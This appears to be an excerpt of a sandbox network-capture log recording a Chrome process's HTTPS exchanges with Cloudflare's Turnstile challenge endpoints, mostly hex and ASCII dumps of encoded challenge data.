2024-12-09 13:19:47 UTC	330	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:47 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26288 Connection: close cf-chl-gen: rWYEX81fceOCEV/7pedITfmpoeR9EtPGMswCpUvOvgwwMAfDuDPckPT/OpwSvpfY2FQ1EBPaz3MZaxmn$XxHBJWB4TjxXHeix Server: cloudflare CF-RAY: 8ef549ee49ea176c-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:47 UTC	1039	IN	Data Raw: 6d 62 71 39 6a 4a 75 38 66 38 57 30 6d 63 4b 45 76 71 75 6b 79 4b 6d 6f 68 63 66 52 76 39 66 4c 31 63 4b 59 33 4e 54 48 76 71 37 68 32 62 66 66 30 37 6e 67 33 37 50 59 33 4f 6d 74 78 61 6e 4c 72 38 61 38 38 73 76 6e 30 37 54 54 2b 38 2b 36 30 73 72 31 32 2f 67 42 79 38 54 32 30 77 54 61 39 63 6b 44 35 2f 58 61 32 74 41 53 7a 38 6e 70 44 2b 59 49 38 2b 6e 56 35 64 76 50 39 66 37 64 31 2b 4c 36 47 43 54 31 48 68 54 31 42 78 34 74 41 68 30 61 44 43 6e 36 2b 7a 45 6d 46 6a 51 4c 49 69 2f 37 50 69 72 34 48 68 51 79 4e 68 6b 79 48 68 34 42 4e 7a 30 65 46 79 49 2b 51 55 30 6d 49 69 30 65 53 77 39 4a 4c 46 55 4d 55 44 30 63 45 43 63 73 4c 42 34 65 59 6c 38 66 58 6a 5a 48 58 6b 78 47 53 47 46 6f 4c 56 6c 6d 4d 46 49 76 59 6d 38 7a 65 6b 35 4c 56 54 31 70 55 57 39 Data Ascii: mbq9jJu8f8W0mcKEvqukyKmohcfRv9fL1cKY3NTHvq7h2bff07ng37PY3OmtxanLr8a88svn07TT+8+60sr12/gBy8T20wTa9ckD5/Xa2tASz8npD+YI8+nV5dvP9f7d1+L6GCT1HhT1Bx4tAh0aDCn6+zEmFjQLIi/7Pir4HhQyNhkyHh4BNz0eFyI+QU0mIi0eSw9JLFUMUD0cECcsLB4eYl8fXjZHXkxGSGFoLVlmMFIvYm8zek5LVT1pUW9
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 68 75 72 71 73 6b 38 33 4f 78 74 58 55 77 39 44 44 71 72 76 51 72 37 47 7a 33 74 33 64 30 64 75 33 75 4d 6d 38 70 73 44 6c 31 36 62 63 33 63 54 54 77 63 6e 57 30 2b 36 77 7a 62 62 72 37 66 62 58 39 4f 4b 2b 37 63 4c 75 2b 51 44 61 41 39 50 63 32 77 6a 72 32 63 6b 51 42 2b 51 47 46 4d 2f 72 39 66 49 55 36 4f 6e 71 45 2f 37 67 46 50 6a 7a 45 41 50 69 33 79 58 2b 35 78 72 6a 2b 2b 41 64 47 67 30 4e 48 2f 51 73 45 6a 6b 56 4c 43 76 30 39 54 41 49 45 52 51 36 51 53 38 31 49 7a 30 77 4b 52 38 39 4a 41 51 47 4b 69 56 4c 55 79 70 50 49 52 49 70 4c 52 67 56 54 6b 52 54 56 6c 6b 35 50 52 68 51 4a 45 42 4f 58 6a 6c 54 56 31 31 6c 61 69 31 51 4b 45 38 77 52 30 56 42 4c 6e 42 44 57 45 39 5a 5a 32 78 66 61 30 6c 69 66 30 43 45 5a 6a 31 43 56 32 5a 36 66 6e 56 4a 69 6e Data Ascii: hurqsk83OxtXUw9DDqrvQr7Gz3t3d0du3uMm8psDl16bc3cTTwcnW0+6wzbbr7fbX9OK+7cLu+QDaA9Pc2wjr2ckQB+QGFM/r9fIU6OnqE/7gFPjzEAPi3yX+5xrj++AdGg0NH/QsEjkVLCv09TAIERQ6QS81Iz0wKR89JAQGKiVLUypPIRIpLRgVTkRTVlk5PRhQJEBOXjlTV11lai1QKE8wR0VBLnBDWE9ZZ2xfa0lif0CEZj1CV2Z6fnVJin
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 78 4e 4b 6c 79 4c 72 4d 71 64 53 56 75 70 4b 67 72 38 79 68 6e 4f 50 44 78 38 6a 49 35 74 76 6c 34 75 75 2f 76 2b 6d 7a 36 37 33 47 73 2b 50 58 74 72 62 6f 33 64 66 57 36 2f 7a 37 39 76 33 51 34 66 66 6b 2b 66 37 62 44 4e 6e 61 34 38 76 64 44 65 41 4e 35 67 50 79 30 75 7a 59 44 74 59 50 2b 77 77 4c 47 75 48 77 48 75 30 64 33 78 55 4b 41 43 6e 6d 48 76 34 5a 2f 43 4d 52 38 75 30 6d 46 42 45 56 4c 69 77 34 38 7a 6f 38 48 67 6f 71 51 52 59 5a 46 54 59 49 4e 44 38 59 4b 6a 67 4f 43 6b 41 66 55 6a 30 4d 55 69 74 4e 55 44 6b 54 52 6c 49 35 50 46 4a 55 55 46 5a 51 59 42 78 69 5a 45 67 79 55 6d 6b 2b 51 43 67 39 4f 6c 39 6e 58 7a 34 76 5a 6b 64 68 53 31 4a 62 4e 55 6c 34 4e 6e 68 2f 62 30 39 39 65 57 47 44 67 45 4e 71 65 45 6c 44 62 56 6d 41 65 59 39 6d 63 6b 35 Data Ascii: xNKlyLrMqdSVupKgr8yhnOPDx8jI5tvl4uu/v+mz673Gs+PXtrbo3dfW6/z79v3Q4ffk+f7bDNna48vdDeAN5gPy0uzYDtYP+wwLGuHwHu0d3xUKACnmHv4Z/CMR8u0mFBEVLiw48zo8HgoqQRYZFTYIND8YKjgOCkAfUj0MUitNUDkTRlI5PFJUUFZQYBxiZEgyUmk+QCg9Ol9nXz4vZkdhS1JbNUl4Nnh/b099eWGDgENqeElDbVmAeY9mck5
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 4b 75 58 33 72 47 65 30 65 4c 46 6c 39 44 6d 33 2b 6e 54 36 71 69 6c 7a 4f 37 42 72 63 76 79 31 62 58 4b 39 75 2f 34 79 71 33 61 74 75 72 55 36 4e 4c 77 37 66 72 65 41 41 4c 77 39 4f 66 34 34 76 76 5a 33 77 2f 37 2b 73 6b 50 36 52 63 50 34 64 62 37 2b 75 33 6d 2b 67 7a 76 2b 68 55 4d 38 41 44 2b 42 65 55 49 44 42 6a 6b 37 51 4c 6f 45 69 63 6c 45 66 30 71 4d 7a 6b 33 4f 44 6b 77 2f 41 6b 54 44 6a 30 65 46 69 55 6d 2b 79 55 58 53 45 6b 69 4f 41 6f 69 53 42 6f 67 4c 53 74 4e 54 43 55 55 51 55 49 6a 4c 45 77 6d 4e 7a 77 7a 4d 53 78 54 57 42 77 32 59 69 46 71 4b 45 55 36 4e 6b 74 66 53 6a 39 47 53 31 4a 6e 4c 57 64 43 51 6d 31 56 63 45 74 6e 62 6f 42 4b 56 45 78 65 59 7a 39 68 51 57 4a 43 69 48 36 45 58 58 68 47 66 31 70 70 59 49 70 2b 61 34 6c 50 68 48 42 6d Data Ascii: KuX3rGe0eLFl9Dm3+nT6qilzO7Brcvy1bXK9u/4yq3aturU6NLw7freAALw9Of44vvZ3w/7+skP6RcP4db7+u3m+gzv+hUM8AD+BeUIDBjk7QLoEiclEf0qMzk3ODkw/AkTDj0eFiUm+yUXSEkiOAoiSBogLStNTCUUQUIjLEwmNzwzMSxTWBw2YiFqKEU6NktfSj9GS1JnLWdCQm1VcEtnboBKVExeYz9hQWJCiH6EXXhGf1ppYIp+a4lPhHBm
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 2b 65 6e 64 61 6e 79 62 4c 6b 78 4e 7a 41 75 73 48 77 72 4f 76 51 79 62 33 77 77 4f 7a 48 35 4e 48 4d 2f 4d 62 78 30 39 72 4b 2f 4e 4d 47 42 66 62 59 43 4e 6e 5a 32 50 62 65 35 4d 76 36 35 4f 6a 72 42 39 58 52 45 52 62 54 44 76 41 4a 39 50 41 57 45 78 67 55 38 77 38 6b 47 50 62 69 38 68 76 35 41 69 6f 6f 2b 52 41 47 38 77 55 78 4b 53 67 6b 4d 2f 44 36 4f 68 7a 38 4e 52 76 33 45 6a 38 2b 4e 43 38 58 48 44 6c 46 49 69 49 46 4d 43 55 6e 47 78 38 73 4a 6b 63 6a 54 53 35 5a 4a 30 55 77 4b 56 49 30 4f 6c 46 52 59 7a 51 2f 5a 56 45 36 61 7a 64 64 51 32 39 68 4d 45 70 4d 51 45 68 48 4c 55 64 33 54 7a 46 48 4e 56 42 48 4e 30 6c 59 57 30 4a 44 56 47 4b 42 51 31 70 57 68 59 64 6b 61 59 5a 6b 61 46 74 4b 68 57 57 57 5a 33 5a 72 69 56 4a 31 62 70 2b 4a 66 33 68 74 6b Data Ascii: +endanybLkxNzAusHwrOvQyb3wwOzH5NHM/Mbx09rK/NMGBfbYCNnZ2Pbe5Mv65OjrB9XRERbTDvAJ9PAWExgU8w8kGPbi8hv5Aioo+RAG8wUxKSgkM/D6Ohz8NRv3Ej8+NC8XHDlFIiIFMCUnGx8sJkcjTS5ZJ0UwKVI0OlFRYzQ/ZVE6azddQ29hMEpMQEhHLUd3TzFHNVBHN0lYW0JDVGKBQ1pWhYdkaYZkaFtKhWWWZ3ZriVJ1bp+Jf3htk
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 6c 32 39 2b 71 70 71 58 52 76 71 37 55 30 75 6a 4d 33 39 54 73 74 75 54 62 32 37 37 66 33 4e 36 2b 41 65 4b 39 33 2b 54 38 31 2f 72 73 42 41 58 2b 2f 67 59 4b 36 41 37 38 35 75 6a 78 44 68 4c 6b 44 68 58 76 46 68 59 5a 32 76 51 44 48 67 58 6d 47 67 67 64 48 68 51 4a 36 53 59 4b 45 43 55 75 48 78 37 74 4a 68 45 59 4c 76 6f 6c 47 67 73 64 49 43 6b 55 4f 7a 77 37 4f 6b 63 33 51 53 73 49 4e 45 55 76 51 30 52 46 49 43 55 7a 54 6a 55 58 53 6a 68 4e 54 6b 51 35 47 6c 59 36 51 46 56 65 54 30 34 65 56 6b 46 49 58 69 74 56 53 6a 74 4e 55 47 5a 70 4d 47 5a 70 62 6d 74 6c 59 6b 68 72 64 48 56 32 54 57 78 31 65 54 56 32 65 57 65 47 65 48 78 48 51 30 4a 75 57 30 74 78 62 34 56 70 66 48 47 4a 55 34 46 34 65 46 74 38 65 58 74 62 6e 58 39 61 66 49 47 5a 65 48 57 55 6f 58 Data Ascii: l29+qpqXRvq7U0ujM39TstuTb277f3N6+AeK93+T81/rsBAX+/gYK6A785ujxDhLkDhXvFhYZ2vQDHgXmGggdHhQJ6SYKECUuHx7tJhEYLvolGgsdICkUOzw7Okc3QSsINEUvQ0RFICUzTjUXSjhNTkQ5GlY6QFVeT04eVkFIXitVSjtNUGZpMGZpbmtlYkhrdHV2TWx1eTV2eWeGeHxHQ0JuW0txb4VpfHGJU4F4eFt8eXtbnX9afIGZeHWUoX
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 36 50 4c 69 36 62 4c 71 35 2b 37 68 36 75 66 78 39 66 4c 75 39 64 50 51 38 2f 7a 74 35 50 59 42 32 72 7a 38 41 39 2f 59 2b 51 66 35 42 77 6f 4c 44 75 67 49 44 77 4c 6b 44 78 50 2b 48 77 77 58 43 76 67 56 47 2f 62 6a 47 42 37 6d 43 52 6f 69 2f 75 73 69 4b 42 6f 46 4b 79 77 65 43 53 59 75 39 68 45 6d 4d 6a 59 56 4c 54 63 55 48 54 6f 38 4c 6a 73 30 50 79 74 4c 4f 45 55 66 44 44 35 47 44 78 31 41 54 43 67 6c 52 30 34 72 44 55 68 55 52 6c 4e 52 56 68 38 74 57 6c 73 34 4d 56 4a 65 4a 68 31 65 5a 46 5a 46 59 47 68 45 53 57 56 72 56 33 64 6c 63 47 4a 4a 62 48 4e 51 55 58 4e 35 56 46 46 31 65 6c 63 35 65 48 39 63 56 58 6d 45 62 30 79 47 68 32 52 74 66 6f 78 6f 59 59 2b 51 62 48 6d 4e 6b 34 61 54 6a 70 6d 44 6f 35 43 62 59 34 57 61 6e 71 46 64 6d 61 53 41 69 5a 71 Data Ascii: 6PLi6bLq5+7h6ufx9fLu9dPQ8/zt5PYB2rz8A9/Y+Qf5BwoLDugIDwLkDxP+HwwXCvgVG/bjGB7mCRoi/usiKBoFKyweCSYu9hEmMjYVLTcUHTo8Ljs0PytLOEUfDD5GDx1ATCglR04rDUhURlNRVh8tWls4MVJeJh1eZFZFYGhESWVrV3dlcGJJbHNQUXN5VFF1elc5eH9cVXmEb0yGh2RtfoxoYY+QbHmNk4aTjpmDo5CbY4WanqFdmaSAiZq
2024-12-09 13:19:47 UTC	1369	IN	Data Raw: 65 4f 30 38 62 76 75 38 66 57 35 39 4f 49 43 41 50 4f 2f 32 4e 7a 38 36 67 72 43 2b 38 66 67 35 41 58 79 45 74 41 4f 39 4f 77 43 42 52 4c 53 43 52 48 73 46 77 6f 57 47 52 66 31 42 4f 45 57 35 42 37 37 2b 42 6b 68 44 69 59 64 4a 51 45 72 48 69 6f 74 38 78 6b 75 43 67 55 33 48 44 55 75 2f 44 59 52 4e 78 34 78 46 6a 38 6f 4d 77 59 63 43 44 31 44 50 79 6f 37 44 6b 63 31 53 69 56 50 55 30 59 37 57 68 78 57 50 56 39 4b 54 6a 51 62 48 6c 6f 31 55 32 4e 49 59 56 6f 6c 59 6a 31 72 55 57 5a 42 57 32 39 68 56 33 59 30 63 6c 6c 72 5a 6d 6c 51 4e 34 46 32 55 56 6c 2f 5a 48 31 32 52 6e 35 61 56 57 31 32 62 45 46 66 68 32 4a 4d 6a 33 53 4e 68 70 6d 4f 61 45 31 72 6b 32 35 59 67 5a 5a 77 56 58 4f 62 68 6d 43 6a 69 4b 47 61 5a 36 4a 38 59 58 2b 6e 6b 6d 79 56 71 6f 52 70 Data Ascii: eO08bvu8fW59OICAPO/2Nz86grC+8fg5AXyEtAO9OwCBRLSCRHsFwoWGRf1BOEW5B77+BkhDiYdJQErHiot8xkuCgU3HDUu/DYRNx4xFj8oMwYcCD1DPyo7Dkc1SiVPU0Y7WhxWPV9KTjQbHlo1U2NIYVolYj1rUWZBW29hV3Y0cllrZmlQN4F2UVl/ZH12Rn5aVW12bEFfh2JMj3SNhpmOaE1rk25YgZZwVXObhmCjiKGaZ6J8YX+nkmyVqoRp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49807	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:48 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:49 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 13:19:49 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: c8+XWXRVt/7deH5WqEv2qgFB358oP2a+3Yo=$VabBF+7UmSyyyuHR Server: cloudflare CF-RAY: 8ef549fc7e057ca2-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:49 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49838	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:01 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34175 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:01 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 35 34 39 61 61 30 65 31 66 34 33 37 36 3d 54 78 56 59 6d 45 36 44 6e 45 6e 63 78 32 44 37 35 76 32 76 59 37 25 32 62 54 56 38 44 71 65 4e 71 32 41 32 4c 2b 24 71 32 54 32 37 58 55 44 63 36 6c 45 4e 59 70 2b 32 37 36 6a 55 32 77 6f 32 32 62 71 32 52 59 32 4e 32 39 65 36 32 36 46 32 43 74 49 42 56 38 32 55 55 32 78 2d 4a 74 6d 35 44 59 39 37 36 61 70 59 24 37 6e 37 32 36 30 71 6a 4b 59 70 37 4e 76 32 70 76 59 36 2d 63 4b 59 36 4a 32 65 41 74 57 58 53 30 32 77 4d 58 32 77 30 4e 32 69 2b 36 47 65 2b 32 39 69 61 54 32 2b 43 72 2d 32 61 63 32 55 7a 38 56 52 54 76 6f 43 61 54 59 71 70 44 6c 69 32 49 2d 63 6d 62 79 45 6d 4e 55 32 55 54 59 67 58 48 52 32 38 63 73 42 45 4e 44 33 6d 30 45 6e 6e 36 54 35 6e 67 48 54 31 64 52 49 31 47 62 67 5a 45 5a 6c Data Ascii: v_8ef549aa0e1f4376=TxVYmE6DnEncx2D75v2vY7%2bTV8DqeNq2A2L+$q2T27XUDc6lENYp+276jU2wo22bq2RY2N29e626F2CtIBV82UU2x-Jtm5DY976apY$7n7260qjKYp7Nv2pvY6-cKY6J2eAtWXS02wMX2w0N2i+6Ge+29iaT2+Cr-2ac2Uz8VRTvoCaTYqpDli2I-cmbyEmNU2UTYgXHR28csBEND3m0Enn6T5ngHT1dRI1GbgZEZl
2024-12-09 13:20:01 UTC	16384	OUT	Data Raw: 6d 79 32 2d 32 75 79 70 58 47 59 67 6e 56 56 45 58 32 59 38 56 59 32 32 4f 31 37 49 6f 32 34 58 24 5a 36 45 32 5a 37 54 32 32 47 4d 32 59 55 6e 36 67 59 35 59 32 6a 32 79 56 67 76 65 56 36 79 75 32 32 5a 32 38 4b 59 71 32 56 59 38 56 32 78 59 77 59 45 55 32 52 6a 46 59 38 4d 32 69 2b 69 58 36 69 32 44 6e 38 59 38 37 32 75 32 56 76 36 4e 32 33 32 38 2b 38 62 32 2b 59 69 6e 45 5a 32 6c 76 56 6e 32 67 32 73 59 69 56 36 73 32 42 59 45 58 32 61 59 41 59 24 37 32 69 32 56 32 36 37 36 4a 32 68 6e 36 2b 55 32 32 4a 31 6e 36 4e 32 6b 59 63 2b 32 24 59 65 35 76 52 59 47 32 66 59 6e 4c 56 2b 32 64 32 38 45 32 68 63 4f 32 32 6e 38 2d 32 44 6e 55 32 65 72 32 58 59 77 32 45 62 36 2b 78 69 52 36 55 32 79 38 4e 58 45 62 32 57 32 32 7a 36 58 36 57 32 65 59 38 53 32 2d 59 Data Ascii: my2-2uypXGYgnVVEX2Y8VY22O17Io24X$Z6E2Z7T22GM2YUn6gY5Y2j2yVgveV6yu22Z28KYq2VY8V2xYwYEU2RjFY8M2i+iX6i2Dn8Y872u2Vv6N2328+8b2+YinEZ2lvVn2g2sYiV6s2BYEX2aYAY$72i2V2676J2hn6+U22J1n6N2kYc+2$Ye5vRYG2fYnLV+2d28E2hcO22n8-2DnU2er2XYw2Eb6+xiR6U2y8NXEb2W22z6X6W2eY8S2-Y
2024-12-09 13:20:01 UTC	1407	OUT	Data Raw: 49 47 53 4e 30 7a 4d 6f 6c 32 55 4d 32 4f 32 54 70 46 4a 32 39 59 45 55 45 6b 56 6c 67 7a 76 6f 78 39 53 31 4f 53 41 5a 59 24 6c 2b 67 31 67 59 6a 59 32 62 36 49 49 34 45 24 41 2b 41 70 54 32 32 5a 6c 43 32 76 37 4c 6e 32 53 32 32 62 39 65 4e 31 24 37 6b 37 58 4f 43 2b 57 32 54 6e 34 42 59 57 37 73 67 4e 79 36 4e 4c 36 56 32 47 47 4c 56 24 35 32 70 32 34 58 43 24 31 72 67 63 36 6c 33 36 43 33 35 6e 38 64 4b 36 32 68 69 74 71 36 57 32 74 2b 45 78 36 77 32 41 4a 32 77 77 57 70 2d 46 61 4c 78 45 32 4a 45 53 4c 55 5a 32 52 74 74 74 30 59 65 66 30 74 48 58 36 68 48 35 4e 63 36 76 65 54 32 63 55 38 63 39 64 32 56 78 77 46 56 47 32 65 43 32 4d 32 4a 63 74 33 41 79 65 42 45 73 67 4a 6b 36 24 68 58 55 4e 74 49 33 36 44 69 55 24 2b 57 43 45 56 48 57 39 74 58 69 79 Data Ascii: IGSN0zMol2UM2O2TpFJ29YEUEkVlgzvox9S1OSAZY$l+g1gYjY2b6II4E$A+ApT22ZlC2v7Ln2S22b9eN1$7k7XOC+W2Tn4BYW7sgNy6NL6V2GGLV$52p24XC$1rgc6l36C35n8dK62hitq6W2t+Ex6w2AJ2wwWp-FaLxE2JESLUZ2Rttt0Yef0tHX6hH5Nc6veT2cU8c9d2VxwFVG2eC2M2Jct3AyeBEsgJk6$hXUNtI36DiU$+WCEVHW9tXiy
2024-12-09 13:20:02 UTC	1312	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4576 Connection: close cf-chl-out-s: CB5Lg8LfB5eQRxuPTOIgLo4Gtg1jgz1ak7+7RCxwGhcyk+rLykwC2Bu+e23+lKfVR5WDgQ5G4g5YV4abcs3LjohRicnITm32Vy7R04DjkN+iCYNwqMaH857byha1C9CgDOITgY0SvlTErykfbUZFlqkGvE/s2BAqsCViyCkQEqFQccCPfvJq41l1gbaysR+SnB9Pu5fgmEWdlxeEq4mSUWfpmgBk7niH/22UpdHJMEKBh92MAcdGH0O9NFj2KBgBhiRZBH4spa11KKrqVpPY7jXzxyManO95fJQ2FkGNd70/jFH3CbctcS+rfNT+0rjFxDshAmugX6c4F6x/Xw5wvTC3t0X22wEwwTixjni/JzCSMQ87+xoFo+DARwWstvVz9/XRkZqMIJd/unfgXh26wV2wF+tWbIvFjJCbkqksBWlpYMm2pn55z/Ho/Ot6j7tdW9f4vEbnfChmvdxP1ItdeZnPZ8z60a6y0ScGEiTHbU0Mh+mFxBoQzUoST/d178XlrmfnoV+mWIJi7Bh3qlk45KCWCrsvsr53U2CWpdJl813JoeJUWlKZmDo0aAtd86ok/NpZH6Q9FdgcUek+3rv/kqCnmrocizNn5ToqDp2cxnfs12O8SP4r4r2gS8uoRNlzdjMzy/lkSMcZBKo2AbbzwdAJrZhru0lkOL1mJ/mTlQiYu1GaJHrdySQIs/ixcDh33m6ica0wI9XLFAO8B12BJnTTVQDa9wt8JFTjlmYXS5rBIh1h31+0Mkh2NF7lJYzdGODM57RwTu+QHOBfJtg/hz9SCmfihsW4GQubzjRCcKqKTG+OyK14js5f0XElh0YxC3XCmZ3Pci5h45KBO7dg8uwpFgWTi7sO10CtahHUGhPDyyqJM+Xfk77syVQaPX85g7PhjtOXiZZ6Sod9Ym4TSbQsyFCc+6FjVGYY5reIyDYvRgqhS9kBKhbFqSZ8Of6QKWHtHb/dOqTXZPCSH5I4cg20hEHI5Nxv82FBSiM4x9jfEYw3gv [TRUNCATED]
2024-12-09 13:20:02 UTC	233	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 67 70 79 44 42 4b 34 6c 32 79 70 73 58 50 33 7a 68 69 66 71 47 4b 6c 35 46 4e 72 6d 4a 77 72 71 78 72 69 6a 35 74 45 78 33 38 79 7a 39 52 54 70 33 4b 67 69 71 65 6b 69 72 2f 6c 35 34 31 61 77 45 32 6b 6f 37 52 68 62 6f 36 34 4e 6b 64 6f 72 6b 4e 51 49 46 6e 76 4c 52 50 37 54 4c 51 69 54 5a 6f 62 4d 54 38 74 65 57 55 7a 48 58 57 42 54 54 64 45 6b 51 49 67 3d 24 42 48 4d 78 58 76 30 39 48 4b 2b 71 4c 4c 51 45 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 35 34 61 34 62 63 63 35 66 63 34 36 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: gpyDBK4l2ypsXP3zhifqGKl5FNrmJwrqxrij5tEx38yz9RTp3Kgiqekir/l541awE2ko7Rhbo64NkdorkNQIFnvLRP7TLQiTZobMT8teWUzHXWBTTdEkQIg=$BHMxXv09HK+qLLQEServer: cloudflareCF-RAY: 8ef54a4bcc5fc46d-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 13:20:02 UTC	1193	IN	Data Raw: 6d 62 71 39 6a 4a 75 38 66 38 57 30 6d 63 4b 45 76 71 75 6b 79 4b 6d 70 6a 61 6a 4a 6c 63 2b 57 79 64 47 76 31 38 75 78 31 61 36 68 34 4e 53 69 70 61 37 67 77 36 65 2b 74 4f 6d 2b 79 65 47 76 77 73 33 6c 38 4d 6e 6d 30 37 44 53 37 50 48 58 39 50 7a 48 76 65 37 31 37 39 50 30 77 4e 37 63 35 63 50 36 31 4d 7a 69 79 41 34 4f 44 4d 7a 53 46 67 33 4a 31 51 77 62 38 65 51 62 39 68 6e 59 34 42 41 68 32 39 7a 59 42 2f 41 58 42 78 2f 36 43 51 67 71 42 76 33 76 44 50 77 4d 4c 53 76 77 4b 76 55 72 2b 43 72 32 46 53 34 61 47 51 49 57 51 67 5a 41 51 55 4d 4a 49 67 74 4a 4f 55 30 6a 4d 44 38 51 54 41 67 72 51 6c 4e 4f 4c 42 59 79 53 78 5a 4f 4d 42 35 41 5a 55 51 68 59 31 73 32 52 47 4a 4a 4f 57 78 74 61 6b 77 6f 61 6c 4e 43 52 45 31 34 54 7a 70 53 56 54 4e 47 54 46 78 Data Ascii: mbq9jJu8f8W0mcKEvqukyKmpjajJlc+WydGv18ux1a6h4NSipa7gw6e+tOm+yeGvws3l8Mnm07DS7PHX9PzHve7179P0wN7c5cP61MziyA4ODMzSFg3J1Qwb8eQb9hnY4BAh29zYB/AXBx/6CQgqBv3vDPwMLSvwKvUr+Cr2FS4aGQIWQgZAQUMJIgtJOU0jMD8QTAgrQlNOLBYySxZOMB5AZUQhY1s2RGJJOWxtakwoalNCRE14TzpSVTNGTFx
2024-12-09 13:20:02 UTC	1369	IN	Data Raw: 44 63 68 42 44 34 6d 4e 77 55 6b 4e 54 56 43 48 42 41 36 48 78 31 53 55 69 55 51 49 45 59 36 4e 56 73 38 4f 78 63 57 51 56 64 53 55 6c 46 45 5a 7a 70 6c 59 45 55 33 58 43 68 69 62 32 31 72 5a 30 56 64 4c 6b 52 74 5a 6a 45 34 65 31 31 7a 4d 58 35 76 64 32 74 4e 5a 46 4e 76 68 6f 68 71 63 31 56 71 52 34 5a 2f 66 33 78 77 62 34 4a 52 65 45 71 47 55 70 4f 61 66 6d 36 48 62 49 39 62 62 4a 65 69 65 56 2b 59 6d 6e 6d 61 71 6f 6c 70 61 49 57 61 71 47 75 75 6b 34 61 56 65 4a 6d 76 69 58 57 5a 6e 6f 68 37 73 4c 75 32 75 62 61 57 70 49 4c 46 6e 5a 69 30 79 5a 36 74 6a 4c 72 48 76 36 57 39 74 4c 57 54 77 62 6d 38 76 62 7a 58 72 4d 36 2f 32 39 2b 35 7a 37 54 46 35 73 72 67 35 75 62 59 34 39 72 62 33 73 58 55 37 39 37 46 39 38 7a 6f 74 4e 7a 6e 33 66 4c 36 37 4f 37 72 Data Ascii: DchBD4mNwUkNTVCHBA6Hx1SUiUQIEY6NVs8OxcWQVdSUlFEZzplYEU3XChib21rZ0VdLkRtZjE4e11zMX5vd2tNZFNvhohqc1VqR4Z/f3xwb4JReEqGUpOafm6HbI9bbJeieV+YmnmaqolpaIWaqGuuk4aVeJmviXWZnoh7sLu2ubaWpILFnZi0yZ6tjLrHv6W9tLWTwbm8vbzXrM6/29+5z7TF5srg5ubY49rb3sXU797F98zotNzn3fL67O7r
